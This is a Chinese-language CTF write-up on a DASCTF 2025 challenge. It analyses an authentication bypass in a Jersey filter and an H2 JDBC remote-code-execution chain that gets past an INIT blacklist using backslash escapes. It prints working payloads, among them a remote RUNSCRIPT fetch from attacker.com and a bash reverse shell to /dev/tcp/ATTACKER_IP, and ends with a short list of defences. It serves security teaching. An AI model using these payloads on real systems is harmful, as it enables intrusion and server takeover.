从DASCTF 2025上半年赛-泽西岛开始的H2 JDBC RCE漏洞分析
字数 1572 2025-08-30 06:50:27
H2 JDBC RCE漏洞分析与利用教学文档
1. 环境搭建
1.1 本地调试环境准备
- 获取题目提供的war包
- 将war包放入tomcat的webapp目录中
- 在tomcat的startup.bat中加入debug参数以启用调试模式
- 启动tomcat环境
1.2 IDEA调试配置
- 将项目的lib和classes目录添加为库
- 配置JVM远程调试
- 启动调试会话
2. 鉴权绕过分析
2.1 框架与配置分析
- 项目使用Jersey框架
- 鉴权由AuthenticationFilter类实现
- 拦截器配置在web.xml中
2.2 鉴权逻辑分析
- 白名单路由:
"","test","login","register" - 目标路由:
/testConnect(不在白名单中) - 绕过条件:
- 路由不在拦截器白名单中 且 路由不为文件 → 需要JWT验证
- 任意一个条件不满足即可绕过
2.3 绕过方法
- 利用
isBaseFile方法返回true:- 路径中不包含
/ - 路径包含
.字符
- 路径中不包含
- 利用Jersey框架路径解析特性:
getUriInfo().getPath()直接返回请求路径部分- 示例:
http://127.0.0.1/api/test;test→ 返回api/test;test/
- 实际绕过payload:
- 使用
;截断 - 包含
.字符使isBaseFile返回true
- 使用
3. H2 JDBC RCE漏洞分析
3.1 漏洞路由分析
- 目标路由:
/testConnect - 处理类:
JDBCServlet - 关键参数:
jdbcUrl
3.2 限制条件
- URL必须以
jdbc:h2开头 - 自动追加
;FORBID_CREATION=TRUE(禁止创建数据库) - 黑名单过滤:禁止使用
INIT等关键字
3.3 绕过技术
- 分号转义:
- 使用反斜杠
\转义分号 - 示例:
;→\;(变为普通字符)
- 使用反斜杠
- INIT关键字绕过:
- 使用
/字符插入:IN\IT - 处理过程中
\会被忽略,还原为INIT
- 使用
4. 漏洞利用原理深入分析
4.1 漏洞触发流程
DriverManager.getConnection()调用- 进入H2的
JdbcConnection类 - 解析连接URL:
ConnectionInfo类处理readSettingsFromURL方法提取配置
4.2 关键处理点
arraySplit方法处理URL字符串- 转义字符处理:
IN\IT中的\会被忽略I被直接加入StringBuilder
- 最终还原为有效的
INIT命令
4.3 漏洞利用链
- 构造恶意JDBC URL:
jdbc:h2:mem:test;INIT=RUNSCRIPT FROM 'http://attacker.com/evil.sql'\;FORBID_CREATION=TRUE - 通过反斜杠绕过黑名单检测
- 服务器处理时还原为有效INIT命令
- 执行远程SQL脚本实现RCE
5. 漏洞利用Payload
5.1 反射Payload
jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;IN\IT=CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "success";}';CALL EXEC('calc.exe')\;FORBID_CREATION=TRUE
5.2 反弹Shell Payload
jdbc:h2:mem:test;TRACE_LEVEL_SYSTEM_OUT=3;IN\IT=CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(new String[]{"/bin/bash","-c",cmd});return "success";}';CALL EXEC('bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1')\;FORBID_CREATION=TRUE
6. 防御措施
- 升级H2数据库到最新安全版本
- 严格过滤JDBC连接字符串:
- 禁止用户控制完整的JDBC URL
- 实现严格的白名单机制
- 转义所有特殊字符
- 使用安全管理器限制危险操作